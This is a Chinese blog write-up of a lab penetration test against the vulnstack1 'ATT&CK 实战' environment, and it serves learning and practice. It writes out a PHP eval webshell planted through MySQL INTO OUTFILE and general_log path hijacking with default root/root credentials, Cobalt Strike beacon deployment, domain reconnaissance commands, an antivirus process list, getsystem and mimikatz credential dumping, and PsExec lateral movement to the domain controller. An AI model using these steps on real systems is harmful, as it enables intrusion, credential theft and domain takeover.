• ATT&CK 实战


    关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html

    PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机(VM1)->内网渗透域成员主机(VM2)->拿下域管(VM3)的步骤进行渗透

    访问VM1:http://192.168.221.143/

    收集信息如下:

    IP地址:192.168.221.143

    主机信息:Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586

    服务器解析引擎:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45

    网站绝对路径:C:/phpStudy/WWW

    被禁用函数:无

    同时底部存在MySQL数据库连接检测:

    输入默认账号密码:root/root

    证明弱密码存在

    根据经验,一般使用phpstudy都会存在phpmyadmin界面,我们可以尝试爆破目录进而通过弱密码控制数据库

    使用dirsearch进行目录爆破

    python3 dirsearch.py -u http://192.168.221.143/ -e * 

    如图:

    http://192.168.221.143/phpinfo.php 界面敏感信息泄露

    http://192.168.221.143/phpmyadmin/ phpmyadmin登录界面

    root/root 登录

    尝试使用select into outfile写入一句话木马

    select load_file('C:/phpStudy/WWW/ma.php');
    select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/WWW/ma.php';

    这里的网站路径是之前我们信息搜集时找到的

    执行成功,但是在目录下无该文件

    换一种姿势写入一句话木马

    参考自:https://xz.aliyun.com/t/3283

    其中的利用日志写shell

    之前的信息搜集我们已知服务器mysql版本>5.0,而mysql5.0以上会创建日志文件,可以通过修改日志的全局变量getshell

    步骤为:

    检测日志保存状态->开启日志保存->修改日志保存路径->使用一句话木马访问网址->连接日志路径GETSHELL

    日志保存状态和日志保存路径需要使用以下命令进行查看:

    general_log 指的是日志保存状态,ON代表开启,OFF代表关闭

    general_log_file 指的是日志的保存路径

    SHOW VARIABLES LIKE 'general%'

    可以看出 general_log 是关闭的,实际上该全局变量默认关闭

    接着我们开启日志存储,即general_log

    set global general_log = "ON";

    接着修改日志保存路径(此处路径依然使用之前信息搜集获得的地址):

    set global general_log_file='C:/phpStudy/WWW/ma.php';

    然后就是通过日志写入一句话木马了,SQL查询:

    select '<?php eval($_POST[cmd]);?>';

    该查询流量会记录在日志文件里,所以我们访问日志文件 ma.php

    可以看到存在我们访问的日志信息,看到有Notice,还是去靶机上面看看日志文件是否正常写入

    可以看到一句话木马写入成功,上菜刀!

    可以看到WEB目录和备份文件没有扫描出来,dirsearch的字典还是得自己有空再整理一下,beifen.rar很符合国人的命名习惯hhh

     

    接着通过webshell 反弹 shell

    关于CS的安装:https://www.cnblogs.com/Cl0ud/p/13709669.html

    关于CS的简单使用方法:https://soapffz.com/sec/483.html

    为了方便CS后台运行,进入screen

    在screen窗口中运行teamserver服务

    使用screen窗口中的快捷键 ctrl+ad,令任务后台运行,现在就可以关闭ssh远程连接了,运行客户端CS输入之前的CS服务端IP和密码进行登录,账号随意,只要与已登录的用户不重复即可

    点击connect进行连接

    小春儿加入群聊 has joined,先新建一个Listener,payload选择beacon http,设置好对应的监听端口

    保存后生成一个后门,使用刚才创建的监听器:

    生成后在菜刀中上传该文件,并且执行之

    就可以看到CS主机已上线

    右键选择 interact 进入交互模式,将sleep调为0,这样渗透靶机就能够直接回显结果,真实渗透中一般不要直接调为0,容易被流量监测,默认为60秒

    冒着电脑被卡死的风险同时开启三个虚拟机 :D

    信息搜集的深度,直接关系到内网渗透测试的成败

    进行本机信息搜集:

    查看当前权限

    shell whoami

    显示主机名称

    shell hostname

    查询用户列表

    net user

    通过分析分级用户列表,可以找到内网机器的命名规则,特别是个人机器的名称,可以用来推测整个域的用户命名方式

    《内网安全攻防》

    获取本地管理员(通常包含域用户)信息

    net localgroup administrators

    使用systeminfo查看系统详细信息

    shell systeminfo

    补丁信息如下:

    域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞

    操作系统和系统版本为:

    查询进程列表

    shell tasklist

    常见的杀毒软件的进程为:

    进程名软件
    360sd.exe 360 杀毒
    360tray.exe 360 实时保护
    ZhuDongFangYu.exe 360 主动防御
    KSafeTray.exe 金山卫士
    SafeDogUpdateCenter.exe 安全狗
    McAfee McShield.exe
    egui.exe NOD32
    AVP.exe 卡巴斯基
    avguard.exe 小红伞
    bdagent.exe BitDefender

     

    获得了本机的相关信息之后,就要判断当前内网中是否存在域

    之前在systeminfo中,"域"即为域名,如果"域"为"WORKGROUP",则表示当前服务器不在域内:

    也可以使用 ipconfig 命令,查看网络信息

    得知DNS服务器名称为 god.org,DNS服务器往往与域控制器在同一台服务器上

    查看域信息:

    shell net view

    查看当前登录域及登录用户信息

    shell net config workstation

    "工作站域DNS名称"为域名,如果为WORKGROUP表示当前为非域环境

    "登录域"表示当前登录的用户是域用户还是本地用户

    继续搜集域内基础信息

    查询域

    shell net view /domain

    查询 GOD域内全部主机:

    shell net view /domain:GOD

    同时可以在targets里面看到扫描出来的主机

    提升本机权限 getsystem

    getsystem

    获取凭据,使用 dump hash模块导出散列值(至少具有administrators权限)

    获取当前计算机中本地用户的密码散列值

    使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出

    可以看到导出的凭据信息:

    同时我们之前在横向探测中已经获取到了其他targets的信息,加上现在获取到的凭证,我们可以尝试利用获取到的凭证+PsExec模块登录其他主机

    虽然搭建环境的时候没有搭建成内网的,但是还是创建一个SMB的监听器:

    关于 SMB Beacon

    SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

    SMB Beacon有两种使用方式:

    • 直接派生一个孩子,目的为了进一步盗取hash

    • 在已有的beacon上创建监听,用来作为跳板进行内网渗透

    这里我们使用第二种方式,创建SMB监听:

     

    在弹出的窗口中选择使用 god.orgAdministrator 的凭证信息

    监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

    点击launch之后等待一会,就可以获取到域控主机OWA的beacon

    在域控主机上继续导出凭据,可以获得整个域内用户的密码散列值

    hashdump+logonpasswords

    查看已经获取到的凭据

    同样的方法获取到ROOT-TVI862UBEH主机的权限

    现在的枢纽结构为:

    能够使用 psexec 能迅速地获得域控主机的 beacon 是因为在本机中读取到了域管理员账号密码的 hash

    接下来在派生的STU1主机上尝试使用token窃取

    选择 GODAdministratortoken 盗取:

    点击后token会存储在当前会话中

    尝试登录ROOT主机

    在令牌处勾选当前token

    不知道为啥失败了 呜呜呜

    等内网渗透熟练了再来复更,暂时就先做到这里趴。

    关于CS和MSF的联动会在红日安全靶机2中进行练习

     

    参考链接

    https://soapffz.com/sec/558.html

    https://v0w.top/2020/07/19/vulnstack1/

    https://www.freebuf.com/column/231111.html

     

  • 相关阅读:
    XStream和Dom4j的区别
    tomcat 性能优化(内存优化 线程优化)
    安装tomcat
    python 全栈开发,Day10(动态参数,命名空间,作用域,函数嵌套)
    python 全栈开发,Day9(函数的初始,返回值,传参,三元运算)
    python 全栈开发,Day8(文件操作)
    python 全栈开发,Day7(元组转换,列表以及字典的坑,集合,关系测试,深浅copy,编码补充)
    python 全栈开发,Day6(is,小数据池,编码转换)
    python 全栈开发,Day5(字典,增删改查,其他操作方法)
    python 全栈开发,Day4(列表切片,增删改查,常用操作方法,元组,range,join)
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13769940.html
Copyright © 2020-2023  润新知